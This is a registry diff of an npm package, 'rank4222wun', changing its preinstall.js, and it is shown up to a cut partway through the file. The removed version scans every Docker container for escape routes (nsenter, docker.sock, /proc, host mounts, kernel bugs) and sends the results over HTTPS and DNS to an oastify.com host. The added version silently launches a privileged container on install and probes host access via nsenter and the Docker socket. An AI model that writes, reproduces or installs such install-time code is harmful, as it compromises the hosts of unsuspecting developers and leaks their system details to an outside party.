rank4222wun 1.0.35 → 1.0.36
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +341 -834
- package/rank4222wun-1.0.36.tgz +0 -0
- package/rank4222wun-1.0.35.tgz +0 -0
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,937 +1,444 @@
|
|
|
1
|
-
//
|
|
1
|
+
// run-privileged-container.js
|
|
2
2
|
const { exec, spawn } = require('child_process');
|
|
3
|
-
const os = require('os');
|
|
4
3
|
const fs = require('fs');
|
|
5
4
|
const path = require('path');
|
|
6
|
-
const https = require('https');
|
|
7
|
-
const dns = require('dns');
|
|
8
|
-
const crypto = require('crypto');
|
|
9
5
|
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
`);
|
|
16
|
-
|
|
17
|
-
// ===================== CONFIGURATION =====================
|
|
18
|
-
const CONFIG = {
|
|
19
|
-
// OAST Configuration
|
|
20
|
-
OAST: {
|
|
21
|
-
domain: 'ukiy34b7vygb36k064qxx5of76dx1rpg.oastify.com',
|
|
22
|
-
httpsPort: 443,
|
|
23
|
-
httpPort: 80,
|
|
24
|
-
apiKey: crypto.randomBytes(16).toString('hex'),
|
|
25
|
-
sessionId: `mced-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`
|
|
26
|
-
},
|
|
27
|
-
|
|
28
|
-
// Scanning Configuration
|
|
29
|
-
SCAN: {
|
|
30
|
-
maxContainers: 50,
|
|
31
|
-
parallelScans: 5,
|
|
32
|
-
timeoutPerContainer: 30000,
|
|
33
|
-
deepScan: true,
|
|
34
|
-
autoExploit: false,
|
|
35
|
-
stealthMode: false
|
|
36
|
-
},
|
|
37
|
-
|
|
38
|
-
// Detection Methods
|
|
39
|
-
METHODS: {
|
|
40
|
-
nsenter: true,
|
|
41
|
-
dockerSocket: true,
|
|
42
|
-
procAccess: true,
|
|
43
|
-
kernelExploits: true,
|
|
44
|
-
hostMounts: true,
|
|
45
|
-
capabilities: true,
|
|
46
|
-
networkEscape: true
|
|
47
|
-
},
|
|
48
|
-
|
|
49
|
-
// Output Configuration
|
|
50
|
-
OUTPUT: {
|
|
51
|
-
saveReports: true,
|
|
52
|
-
reportFormat: 'json', // json, html, txt
|
|
53
|
-
verbose: true,
|
|
54
|
-
colorOutput: true
|
|
55
|
-
}
|
|
56
|
-
};
|
|
57
|
-
|
|
58
|
-
// ===================== GLOBAL STATE =====================
|
|
59
|
-
const STATE = {
|
|
60
|
-
startTime: Date.now(),
|
|
61
|
-
containers: {},
|
|
62
|
-
hostInfo: null,
|
|
63
|
-
networkMap: {},
|
|
64
|
-
vulnerabilities: {},
|
|
65
|
-
oastInteractions: [],
|
|
66
|
-
statistics: {
|
|
67
|
-
totalContainers: 0,
|
|
68
|
-
scannedContainers: 0,
|
|
69
|
-
escapedContainers: 0,
|
|
70
|
-
vulnerableContainers: 0,
|
|
71
|
-
criticalEscapes: 0
|
|
6
|
+
class PrivilegedContainerRunner {
|
|
7
|
+
constructor() {
|
|
8
|
+
this.containerId = null;
|
|
9
|
+
this.outputLog = [];
|
|
10
|
+
this.status = 'stopped';
|
|
72
11
|
}
|
|
73
|
-
};
|
|
74
12
|
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
13
|
+
async runContainer() {
|
|
14
|
+
console.log('🚀 جاري تشغيل حاوية Ubuntu مميزة...');
|
|
15
|
+
|
|
16
|
+
return new Promise((resolve, reject) => {
|
|
17
|
+
const dockerCommand = 'docker run --privileged -d ubuntu:latest sleep infinity';
|
|
18
|
+
|
|
19
|
+
exec(dockerCommand, (error, stdout, stderr) => {
|
|
20
|
+
if (error) {
|
|
21
|
+
console.error('❌ خطأ في تشغيل الحاوية:', error.message);
|
|
22
|
+
reject(error);
|
|
23
|
+
return;
|
|
24
|
+
}
|
|
25
|
+
|
|
26
|
+
this.containerId = stdout.trim();
|
|
27
|
+
console.log(`✅ الحاوية تم تشغيلها بنجاح: ${this.containerId.substring(0, 12)}`);
|
|
28
|
+
this.status = 'running';
|
|
29
|
+
|
|
30
|
+
// الانتظار قليلاً ثم تنفيذ الأوامر
|
|
31
|
+
setTimeout(() => {
|
|
32
|
+
this.executeCommands()
|
|
33
|
+
.then(resolve)
|
|
34
|
+
.catch(reject);
|
|
35
|
+
}, 2000);
|
|
36
|
+
});
|
|
37
|
+
});
|
|
96
38
|
}
|
|
97
39
|
|
|
98
|
-
async
|
|
99
|
-
|
|
100
|
-
|
|
40
|
+
async executeCommands() {
|
|
41
|
+
console.log('\n🔧 جاري تنفيذ الأوامر داخل الحاوية...\n');
|
|
42
|
+
|
|
43
|
+
const commands = [
|
|
44
|
+
// معلومات النظام الأساسية
|
|
45
|
+
'echo "=== معلومات النظام ==="',
|
|
46
|
+
'cat /etc/os-release',
|
|
47
|
+
'uname -a',
|
|
48
|
+
'whoami',
|
|
49
|
+
'id',
|
|
101
50
|
|
|
102
|
-
//
|
|
103
|
-
|
|
51
|
+
// معلومات الذاكرة والمعالج
|
|
52
|
+
'echo -e "\n=== موارد النظام ==="',
|
|
53
|
+
'free -h',
|
|
54
|
+
'df -h',
|
|
55
|
+
'cat /proc/cpuinfo | grep "model name" | head -1',
|
|
104
56
|
|
|
105
|
-
//
|
|
106
|
-
|
|
57
|
+
// التحقق من الصلاحيات
|
|
58
|
+
'echo -e "\n=== الصلاحيات المميزة ==="',
|
|
59
|
+
'capsh --print',
|
|
60
|
+
'cat /proc/self/status | grep Cap',
|
|
107
61
|
|
|
108
|
-
//
|
|
109
|
-
|
|
62
|
+
// معلومات الشبكة
|
|
63
|
+
'echo -e "\n=== معلومات الشبكة ==="',
|
|
64
|
+
'ip addr show',
|
|
65
|
+
'hostname -I',
|
|
66
|
+
'route -n',
|
|
110
67
|
|
|
111
|
-
//
|
|
112
|
-
|
|
68
|
+
// فحص الملفات والمجلدات
|
|
69
|
+
'echo -e "\n=== نظام الملفات ==="',
|
|
70
|
+
'ls -la /',
|
|
71
|
+
'mount | head -20',
|
|
113
72
|
|
|
114
|
-
//
|
|
115
|
-
|
|
73
|
+
// تحليل الحاوية
|
|
74
|
+
'echo -e "\n=== معلومات الحاوية ==="',
|
|
75
|
+
'cat /proc/1/cgroup 2>/dev/null || echo "لا يمكن قراءة cgroup"',
|
|
76
|
+
'cat /proc/self/mountinfo 2>/dev/null | head -10',
|
|
116
77
|
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
name: `docker inspect ${this.id} --format '{{.Name}}'`,
|
|
128
|
-
image: `docker inspect ${this.id} --format '{{.Config.Image}}'`,
|
|
129
|
-
status: `docker inspect ${this.id} --format '{{.State.Status}}'`,
|
|
130
|
-
ip: `docker inspect ${this.id} --format '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}'`,
|
|
131
|
-
ports: `docker inspect ${this.id} --format '{{json .NetworkSettings.Ports}}'`,
|
|
132
|
-
mounts: `docker inspect ${this.id} --format '{{json .Mounts}}'`,
|
|
133
|
-
privileged: `docker inspect ${this.id} --format '{{.HostConfig.Privileged}}'`,
|
|
134
|
-
capabilities: `docker inspect ${this.id} --format '{{json .HostConfig.CapAdd}}'`
|
|
135
|
-
};
|
|
136
|
-
|
|
137
|
-
for (const [key, cmd] of Object.entries(commands)) {
|
|
138
|
-
try {
|
|
139
|
-
const result = await this.executeCommand(cmd);
|
|
140
|
-
this.rawData[key] = result;
|
|
141
|
-
|
|
142
|
-
// Parse specific data
|
|
143
|
-
switch(key) {
|
|
144
|
-
case 'name':
|
|
145
|
-
this.info.name = result.replace(/^\//, '');
|
|
146
|
-
break;
|
|
147
|
-
case 'image':
|
|
148
|
-
this.info.image = result;
|
|
149
|
-
break;
|
|
150
|
-
case 'status':
|
|
151
|
-
this.info.status = result;
|
|
152
|
-
break;
|
|
153
|
-
case 'ip':
|
|
154
|
-
this.info.network.ip = result;
|
|
155
|
-
break;
|
|
156
|
-
case 'mounts':
|
|
157
|
-
try {
|
|
158
|
-
this.info.mounts = JSON.parse(result || '[]');
|
|
159
|
-
} catch (e) {}
|
|
160
|
-
break;
|
|
161
|
-
case 'capabilities':
|
|
162
|
-
try {
|
|
163
|
-
this.info.capabilities = JSON.parse(result || '[]');
|
|
164
|
-
} catch (e) {}
|
|
165
|
-
break;
|
|
166
|
-
}
|
|
167
|
-
} catch (e) {
|
|
168
|
-
this.rawData[key] = null;
|
|
169
|
-
}
|
|
170
|
-
}
|
|
171
|
-
}
|
|
172
|
-
|
|
173
|
-
async performEscapeChecks() {
|
|
174
|
-
const checks = [];
|
|
175
|
-
|
|
176
|
-
if (CONFIG.METHODS.nsenter) {
|
|
177
|
-
checks.push(this.checkNsenterEscape());
|
|
178
|
-
}
|
|
179
|
-
|
|
180
|
-
if (CONFIG.METHODS.dockerSocket) {
|
|
181
|
-
checks.push(this.checkDockerSocketEscape());
|
|
182
|
-
}
|
|
183
|
-
|
|
184
|
-
if (CONFIG.METHODS.procAccess) {
|
|
185
|
-
checks.push(this.checkProcEscape());
|
|
186
|
-
}
|
|
187
|
-
|
|
188
|
-
if (CONFIG.METHODS.hostMounts) {
|
|
189
|
-
checks.push(this.checkMountEscape());
|
|
190
|
-
}
|
|
191
|
-
|
|
192
|
-
if (CONFIG.METHODS.kernelExploits) {
|
|
193
|
-
checks.push(this.checkKernelVulnerabilities());
|
|
194
|
-
}
|
|
195
|
-
|
|
196
|
-
if (CONFIG.METHODS.capabilities) {
|
|
197
|
-
checks.push(this.checkDangerousCapabilities());
|
|
198
|
-
}
|
|
199
|
-
|
|
200
|
-
if (CONFIG.METHODS.networkEscape) {
|
|
201
|
-
checks.push(this.checkNetworkEscape());
|
|
202
|
-
}
|
|
203
|
-
|
|
204
|
-
await Promise.all(checks);
|
|
205
|
-
}
|
|
78
|
+
// اختبار الوصول إلى المضيف
|
|
79
|
+
'echo -e "\n=== اختبار الوصول للمضيف ==="',
|
|
80
|
+
'nsenter --target 1 --mount -- sh -c "echo يمكن الوصول للمضيف: && hostname" 2>/dev/null || echo "nsenter غير متاح"',
|
|
81
|
+
'ls -la /var/run/docker.sock 2>/dev/null && echo "✅ Docker socket موجود" || echo "❌ Docker socket غير موجود"',
|
|
82
|
+
|
|
83
|
+
// معلومات إضافية
|
|
84
|
+
'echo -e "\n=== معلومات إضافية ==="',
|
|
85
|
+
'env | head -20',
|
|
86
|
+
'ps aux | head -10'
|
|
87
|
+
];
|
|
206
88
|
|
|
207
|
-
|
|
208
|
-
const command = `docker exec ${this.id} sh -c '
|
|
209
|
-
which nsenter >/dev/null 2>&1 &&
|
|
210
|
-
nsenter --target 1 --mount -- sh -c "hostname" 2>/dev/null | grep -v "$(hostname)" ||
|
|
211
|
-
echo "FAILED"
|
|
212
|
-
'`;
|
|
89
|
+
const results = {};
|
|
213
90
|
|
|
214
|
-
|
|
215
|
-
const
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
91
|
+
for (let i = 0; i < commands.length; i++) {
|
|
92
|
+
const command = commands[i];
|
|
93
|
+
|
|
94
|
+
// إذا كان الأمر echo، عرضه مباشرة
|
|
95
|
+
if (command.startsWith('echo')) {
|
|
96
|
+
const message = command.replace(/^echo\s+["']?/, '').replace(/["']?$/, '');
|
|
97
|
+
console.log(message);
|
|
98
|
+
this.outputLog.push(message);
|
|
99
|
+
continue;
|
|
220
100
|
}
|
|
221
|
-
} catch (e) {}
|
|
222
|
-
}
|
|
223
|
-
|
|
224
|
-
async checkDockerSocketEscape() {
|
|
225
|
-
const commands = [
|
|
226
|
-
// Check if docker.sock is mounted
|
|
227
|
-
`docker exec ${this.id} ls -la /var/run/docker.sock 2>/dev/null || echo "NOT_FOUND"`,
|
|
228
|
-
// Try to access Docker API
|
|
229
|
-
`docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/info 2>/dev/null | grep -q "ID" && echo "ACCESSIBLE" || echo "NO_ACCESS"'`
|
|
230
|
-
];
|
|
231
|
-
|
|
232
|
-
try {
|
|
233
|
-
const [socketCheck, apiCheck] = await Promise.all(
|
|
234
|
-
commands.map(cmd => this.executeCommand(cmd))
|
|
235
|
-
);
|
|
236
101
|
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
const listCmd = `docker exec ${this.id} sh -c 'curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json 2>/dev/null | wc -l'`;
|
|
243
|
-
const containerCount = await this.executeCommand(listCmd);
|
|
102
|
+
// تنفيذ الأمر داخل الحاوية
|
|
103
|
+
try {
|
|
104
|
+
const output = await this.execInContainer(command);
|
|
105
|
+
console.log(output);
|
|
106
|
+
this.outputLog.push(output);
|
|
244
107
|
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
108
|
+
// حفظ النتائج المهمة
|
|
109
|
+
if (command.includes('os-release')) {
|
|
110
|
+
results.osInfo = output;
|
|
111
|
+
} else if (command.includes('uname -a')) {
|
|
112
|
+
results.kernelInfo = output;
|
|
113
|
+
} else if (command.includes('capsh')) {
|
|
114
|
+
results.capabilities = output;
|
|
115
|
+
} else if (command.includes('docker.sock')) {
|
|
116
|
+
results.dockerSocket = output.includes('✅');
|
|
252
117
|
}
|
|
118
|
+
|
|
119
|
+
} catch (error) {
|
|
120
|
+
const errorMsg = `❌ خطأ في الأمر "${command}": ${error.message}`;
|
|
121
|
+
console.log(errorMsg);
|
|
122
|
+
this.outputLog.push(errorMsg);
|
|
253
123
|
}
|
|
254
|
-
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
|
|
258
|
-
const command = `docker exec ${this.id} sh -c '
|
|
259
|
-
cat /proc/1/status 2>/dev/null | head -5 &&
|
|
260
|
-
cat /proc/1/cmdline 2>/dev/null | tr "\\\\0" " " | head -c 100 ||
|
|
261
|
-
echo "NO_ACCESS"
|
|
262
|
-
'`;
|
|
124
|
+
|
|
125
|
+
// تأخير بسيط بين الأوامر
|
|
126
|
+
await this.delay(500);
|
|
127
|
+
}
|
|
263
128
|
|
|
264
|
-
|
|
265
|
-
const result = await this.executeCommand(command);
|
|
266
|
-
if (!result.includes('NO_ACCESS') && result.includes('State:')) {
|
|
267
|
-
this.info.methods.push('proc_access');
|
|
268
|
-
this.info.evidence.push('Can access host init process via /proc/1/');
|
|
269
|
-
this.sendOAST('proc_escape', { container: this.shortId });
|
|
270
|
-
}
|
|
271
|
-
} catch (e) {}
|
|
129
|
+
return results;
|
|
272
130
|
}
|
|
273
131
|
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
try {
|
|
281
|
-
const result = await this.executeCommand(command);
|
|
282
|
-
if (result) {
|
|
283
|
-
const lines = result.split('\n');
|
|
284
|
-
const dangerousMounts = lines.filter(line =>
|
|
285
|
-
line.includes('/proc') ||
|
|
286
|
-
line.includes('/sys') ||
|
|
287
|
-
line.includes('/dev') ||
|
|
288
|
-
line.includes('overlay')
|
|
289
|
-
);
|
|
290
|
-
|
|
291
|
-
if (dangerousMounts.length > 0) {
|
|
292
|
-
this.info.methods.push('host_mounts');
|
|
293
|
-
this.info.evidence.push(`${dangerousMounts.length} dangerous mount points found`);
|
|
294
|
-
|
|
295
|
-
// Check if we can access host files through mounts
|
|
296
|
-
const testCmd = `docker exec ${this.id} sh -c '
|
|
297
|
-
ls -la /home 2>/dev/null | head -3 ||
|
|
298
|
-
cat /etc/passwd 2>/dev/null | head -3 ||
|
|
299
|
-
echo "NO_HOST_ACCESS"
|
|
300
|
-
'`;
|
|
301
|
-
|
|
302
|
-
const accessResult = await this.executeCommand(testCmd);
|
|
303
|
-
if (!accessResult.includes('NO_HOST_ACCESS')) {
|
|
304
|
-
this.info.evidence.push('Can access host files through mounts');
|
|
305
|
-
this.sendOAST('mount_escape', {
|
|
306
|
-
container: this.shortId,
|
|
307
|
-
mounts: dangerousMounts.slice(0, 3),
|
|
308
|
-
hostAccess: true
|
|
309
|
-
});
|
|
310
|
-
}
|
|
311
|
-
}
|
|
132
|
+
execInContainer(command) {
|
|
133
|
+
return new Promise((resolve, reject) => {
|
|
134
|
+
if (!this.containerId) {
|
|
135
|
+
reject(new Error('لا توجد حاوية نشطة'));
|
|
136
|
+
return;
|
|
312
137
|
}
|
|
313
|
-
|
|
314
|
-
|
|
315
|
-
|
|
316
|
-
|
|
317
|
-
|
|
318
|
-
|
|
319
|
-
|
|
320
|
-
|
|
321
|
-
|
|
322
|
-
|
|
323
|
-
try {
|
|
324
|
-
const result = await this.executeCommand(command);
|
|
325
|
-
if (!result.includes('NO_INFO')) {
|
|
326
|
-
const lines = result.split('\n');
|
|
327
|
-
const kernel = lines[0]?.trim();
|
|
328
|
-
|
|
329
|
-
if (kernel) {
|
|
330
|
-
this.info.vulnerabilities.push(`Kernel: ${kernel}`);
|
|
331
|
-
|
|
332
|
-
// Check for known vulnerable kernels
|
|
333
|
-
const vulnerableKernels = {
|
|
334
|
-
'DirtyPipe': /^(5\.8|5\.9|5\.10|5\.11|5\.12|5\.13|5\.14|5\.15|5\.16)\./,
|
|
335
|
-
'DirtyCow': /^(2\.6\.|3\.|4\.)/,
|
|
336
|
-
'Shocker': /^(3\.8|3\.9|3\.10)\./
|
|
337
|
-
};
|
|
338
|
-
|
|
339
|
-
for (const [vuln, pattern] of Object.entries(vulnerableKernels)) {
|
|
340
|
-
if (pattern.test(kernel)) {
|
|
341
|
-
this.info.vulnerabilities.push(`${vuln} vulnerability detected`);
|
|
342
|
-
this.sendOAST('kernel_vuln', {
|
|
343
|
-
container: this.shortId,
|
|
344
|
-
kernel: kernel,
|
|
345
|
-
vulnerability: vuln
|
|
346
|
-
});
|
|
347
|
-
break;
|
|
348
|
-
}
|
|
138
|
+
|
|
139
|
+
const fullCommand = `docker exec ${this.containerId} sh -c "${command.replace(/"/g, '\\"')}"`;
|
|
140
|
+
|
|
141
|
+
exec(fullCommand, { timeout: 10000 }, (error, stdout, stderr) => {
|
|
142
|
+
if (error) {
|
|
143
|
+
// بعض الأوامر تعطي stderr لكنها ناجحة
|
|
144
|
+
if (stderr && !stdout) {
|
|
145
|
+
resolve(stderr);
|
|
146
|
+
} else {
|
|
147
|
+
reject(error);
|
|
349
148
|
}
|
|
149
|
+
} else {
|
|
150
|
+
resolve(stdout || stderr || '');
|
|
350
151
|
}
|
|
351
|
-
}
|
|
352
|
-
}
|
|
152
|
+
});
|
|
153
|
+
});
|
|
353
154
|
}
|
|
354
155
|
|
|
355
|
-
|
|
356
|
-
|
|
357
|
-
capsh --print 2>/dev/null | grep -E "(sys_admin|sys_module|sys_ptrace|dac_override)" ||
|
|
358
|
-
echo "NO_CAPSH"
|
|
359
|
-
'`;
|
|
360
|
-
|
|
361
|
-
try {
|
|
362
|
-
const result = await this.executeCommand(command);
|
|
363
|
-
if (!result.includes('NO_CAPSH') && result.trim()) {
|
|
364
|
-
const dangerousCaps = [
|
|
365
|
-
'CAP_SYS_ADMIN', 'CAP_SYS_MODULE', 'CAP_SYS_PTRACE',
|
|
366
|
-
'CAP_DAC_OVERRIDE', 'CAP_DAC_READ_SEARCH'
|
|
367
|
-
];
|
|
368
|
-
|
|
369
|
-
const foundCaps = dangerousCaps.filter(cap => result.includes(cap));
|
|
370
|
-
if (foundCaps.length > 0) {
|
|
371
|
-
this.info.methods.push('capabilities');
|
|
372
|
-
this.info.evidence.push(`Dangerous capabilities: ${foundCaps.join(', ')}`);
|
|
373
|
-
this.sendOAST('dangerous_caps', {
|
|
374
|
-
container: this.shortId,
|
|
375
|
-
capabilities: foundCaps
|
|
376
|
-
});
|
|
377
|
-
}
|
|
378
|
-
}
|
|
379
|
-
} catch (e) {}
|
|
156
|
+
delay(ms) {
|
|
157
|
+
return new Promise(resolve => setTimeout(resolve, ms));
|
|
380
158
|
}
|
|
381
159
|
|
|
382
|
-
async
|
|
383
|
-
|
|
384
|
-
|
|
385
|
-
|
|
386
|
-
|
|
387
|
-
|
|
388
|
-
|
|
389
|
-
|
|
390
|
-
|
|
391
|
-
|
|
392
|
-
);
|
|
160
|
+
async getInteractiveShell() {
|
|
161
|
+
console.log('\n💻 تشغيل shell تفاعلي...');
|
|
162
|
+
console.log(' استخدم "exit" للخروج\n');
|
|
163
|
+
|
|
164
|
+
return new Promise((resolve) => {
|
|
165
|
+
const dockerProcess = spawn('docker', [
|
|
166
|
+
'exec', '-it', this.containerId, '/bin/bash'
|
|
167
|
+
], {
|
|
168
|
+
stdio: 'inherit'
|
|
169
|
+
});
|
|
393
170
|
|
|
394
|
-
|
|
395
|
-
|
|
396
|
-
|
|
397
|
-
|
|
398
|
-
|
|
399
|
-
iptables: results[2]?.split('\n').slice(0, 10) || []
|
|
400
|
-
};
|
|
401
|
-
}
|
|
402
|
-
} catch (e) {}
|
|
171
|
+
dockerProcess.on('close', (code) => {
|
|
172
|
+
console.log(`\n🔚 Shell مغلق مع الكود: ${code}`);
|
|
173
|
+
resolve();
|
|
174
|
+
});
|
|
175
|
+
});
|
|
403
176
|
}
|
|
404
177
|
|
|
405
|
-
|
|
406
|
-
|
|
407
|
-
|
|
408
|
-
|
|
409
|
-
// Method points
|
|
410
|
-
const methodPoints = {
|
|
411
|
-
nsenter: 25,
|
|
412
|
-
docker_socket: 30,
|
|
413
|
-
proc_access: 20,
|
|
414
|
-
host_mounts: 15,
|
|
415
|
-
capabilities: 10,
|
|
416
|
-
network_escape: 10
|
|
417
|
-
};
|
|
418
|
-
|
|
419
|
-
this.info.methods.forEach(method => {
|
|
420
|
-
score += methodPoints[method] || 0;
|
|
421
|
-
});
|
|
422
|
-
|
|
423
|
-
// Vulnerability points
|
|
424
|
-
if (this.info.vulnerabilities.length > 0) {
|
|
425
|
-
score += this.info.vulnerabilities.length * 10;
|
|
426
|
-
}
|
|
178
|
+
saveOutput() {
|
|
179
|
+
const timestamp = new Date().toISOString().replace(/[:.]/g, '-');
|
|
180
|
+
const filename = `container-output-${timestamp}.txt`;
|
|
427
181
|
|
|
428
|
-
|
|
429
|
-
|
|
182
|
+
const output = [
|
|
183
|
+
`ناتج تشغيل حاوية مميزة`,
|
|
184
|
+
`تاريخ: ${new Date().toLocaleString()}`,
|
|
185
|
+
`Container ID: ${this.containerId || 'غير معروف'}`,
|
|
186
|
+
`الحالة: ${this.status}`,
|
|
187
|
+
`='.repeat(50)}\n\n`,
|
|
188
|
+
...this.outputLog
|
|
189
|
+
].join('\n');
|
|
430
190
|
|
|
431
|
-
|
|
432
|
-
|
|
433
|
-
score += 20;
|
|
434
|
-
}
|
|
191
|
+
fs.writeFileSync(filename, output);
|
|
192
|
+
console.log(`\n💾 تم حفظ الناتج في: ${filename}`);
|
|
435
193
|
|
|
436
|
-
|
|
437
|
-
this.info.confidence = Math.min(100, score);
|
|
438
|
-
|
|
439
|
-
if (this.info.confidence >= 70) {
|
|
440
|
-
this.info.escapeStatus = 'confirmed';
|
|
441
|
-
this.info.risk = 'critical';
|
|
442
|
-
} else if (this.info.confidence >= 40) {
|
|
443
|
-
this.info.escapeStatus = 'probable';
|
|
444
|
-
this.info.risk = 'high';
|
|
445
|
-
} else if (this.info.confidence >= 20) {
|
|
446
|
-
this.info.escapeStatus = 'possible';
|
|
447
|
-
this.info.risk = 'medium';
|
|
448
|
-
} else {
|
|
449
|
-
this.info.escapeStatus = 'unlikely';
|
|
450
|
-
this.info.risk = 'low';
|
|
451
|
-
}
|
|
194
|
+
return filename;
|
|
452
195
|
}
|
|
453
196
|
|
|
454
|
-
async
|
|
455
|
-
if (this.
|
|
456
|
-
|
|
457
|
-
sessionId: CONFIG.OAST.sessionId,
|
|
458
|
-
timestamp: new Date().toISOString(),
|
|
459
|
-
container: {
|
|
460
|
-
id: this.shortId,
|
|
461
|
-
name: this.info.name,
|
|
462
|
-
image: this.info.image
|
|
463
|
-
},
|
|
464
|
-
escape: {
|
|
465
|
-
status: this.info.escapeStatus,
|
|
466
|
-
confidence: this.info.confidence,
|
|
467
|
-
risk: this.info.risk,
|
|
468
|
-
methods: this.info.methods,
|
|
469
|
-
evidence: this.info.evidence.slice(0, 5)
|
|
470
|
-
},
|
|
471
|
-
vulnerabilities: this.info.vulnerabilities
|
|
472
|
-
};
|
|
197
|
+
async cleanup() {
|
|
198
|
+
if (this.containerId && this.status === 'running') {
|
|
199
|
+
console.log('\n🧹 تنظيف الحاوية...');
|
|
473
200
|
|
|
474
|
-
|
|
475
|
-
|
|
476
|
-
|
|
477
|
-
|
|
478
|
-
|
|
479
|
-
|
|
480
|
-
|
|
481
|
-
id: interactionId,
|
|
482
|
-
type: type,
|
|
483
|
-
timestamp: new Date().toISOString(),
|
|
484
|
-
container: this.shortId,
|
|
485
|
-
data: data
|
|
486
|
-
};
|
|
487
|
-
|
|
488
|
-
STATE.oastInteractions.push(interaction);
|
|
489
|
-
|
|
490
|
-
// Send via HTTPS
|
|
491
|
-
const req = https.request({
|
|
492
|
-
hostname: CONFIG.OAST.domain,
|
|
493
|
-
port: CONFIG.OAST.httpsPort,
|
|
494
|
-
path: '/multi-container-escape',
|
|
495
|
-
method: 'POST',
|
|
496
|
-
headers: {
|
|
497
|
-
'Content-Type': 'application/json',
|
|
498
|
-
'X-Session-ID': CONFIG.OAST.sessionId,
|
|
499
|
-
'X-Container-ID': this.shortId,
|
|
500
|
-
'X-API-Key': CONFIG.OAST.apiKey,
|
|
501
|
-
'User-Agent': 'MultiContainerEscapeDetector/3.0'
|
|
201
|
+
try {
|
|
202
|
+
await this.execOnHost(`docker stop ${this.containerId}`);
|
|
203
|
+
await this.execOnHost(`docker rm ${this.containerId}`);
|
|
204
|
+
this.status = 'stopped';
|
|
205
|
+
console.log('✅ تم تنظيف الحاوية بنجاح');
|
|
206
|
+
} catch (error) {
|
|
207
|
+
console.error('❌ خطأ في التنظيف:', error.message);
|
|
502
208
|
}
|
|
503
|
-
}, (res) => {
|
|
504
|
-
let body = '';
|
|
505
|
-
res.on('data', chunk => body += chunk);
|
|
506
|
-
res.on('end', () => {
|
|
507
|
-
if (CONFIG.OUTPUT.verbose) {
|
|
508
|
-
console.log(`📡 OAST report sent for ${this.shortId} (${res.statusCode})`);
|
|
509
|
-
}
|
|
510
|
-
});
|
|
511
|
-
});
|
|
512
|
-
|
|
513
|
-
req.on('error', () => {});
|
|
514
|
-
req.write(JSON.stringify({
|
|
515
|
-
interactionId: interactionId,
|
|
516
|
-
sessionId: CONFIG.OAST.sessionId,
|
|
517
|
-
containerId: this.shortId,
|
|
518
|
-
data: data
|
|
519
|
-
}));
|
|
520
|
-
req.end();
|
|
521
|
-
|
|
522
|
-
// Also send DNS notification for critical escapes
|
|
523
|
-
if (this.info.risk === 'critical') {
|
|
524
|
-
const dnsName = `${this.shortId}-critical.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
|
|
525
|
-
dns.lookup(dnsName, () => {});
|
|
526
209
|
}
|
|
527
210
|
}
|
|
528
211
|
|
|
529
|
-
|
|
212
|
+
execOnHost(command) {
|
|
530
213
|
return new Promise((resolve, reject) => {
|
|
531
|
-
exec(command,
|
|
214
|
+
exec(command, (error, stdout, stderr) => {
|
|
532
215
|
if (error) {
|
|
533
216
|
reject(error);
|
|
534
217
|
} else {
|
|
535
|
-
resolve(stdout
|
|
218
|
+
resolve(stdout);
|
|
536
219
|
}
|
|
537
220
|
});
|
|
538
221
|
});
|
|
539
222
|
}
|
|
540
223
|
|
|
541
|
-
|
|
542
|
-
STATE.statistics.scannedContainers++;
|
|
543
|
-
|
|
544
|
-
if (this.info.escapeStatus === 'confirmed') {
|
|
545
|
-
STATE.statistics.escapedContainers++;
|
|
546
|
-
STATE.statistics.criticalEscapes++;
|
|
547
|
-
} else if (this.info.escapeStatus === 'probable') {
|
|
548
|
-
STATE.statistics.escapedContainers++;
|
|
549
|
-
}
|
|
550
|
-
|
|
551
|
-
if (this.info.vulnerabilities.length > 0) {
|
|
552
|
-
STATE.statistics.vulnerableContainers++;
|
|
553
|
-
}
|
|
554
|
-
}
|
|
555
|
-
}
|
|
556
|
-
|
|
557
|
-
// ===================== MAIN SCANNER CLASS =====================
|
|
558
|
-
class MultiContainerScanner {
|
|
559
|
-
constructor() {
|
|
560
|
-
this.scanners = [];
|
|
561
|
-
this.results = [];
|
|
562
|
-
}
|
|
563
|
-
|
|
564
|
-
async discoverContainers() {
|
|
565
|
-
console.log('🔎 Discovering containers...');
|
|
566
|
-
|
|
224
|
+
async run() {
|
|
567
225
|
try {
|
|
568
|
-
//
|
|
569
|
-
|
|
570
|
-
const output = await this.exec(cmd);
|
|
571
|
-
const containerIds = output.split('\n').filter(id => id.trim());
|
|
226
|
+
// 1. تشغيل الحاوية
|
|
227
|
+
await this.runContainer();
|
|
572
228
|
|
|
573
|
-
|
|
229
|
+
// 2. تنفيذ الأوامر
|
|
230
|
+
const results = await this.executeCommands();
|
|
574
231
|
|
|
575
|
-
|
|
576
|
-
|
|
577
|
-
return [];
|
|
578
|
-
}
|
|
232
|
+
// 3. حفظ النتائج
|
|
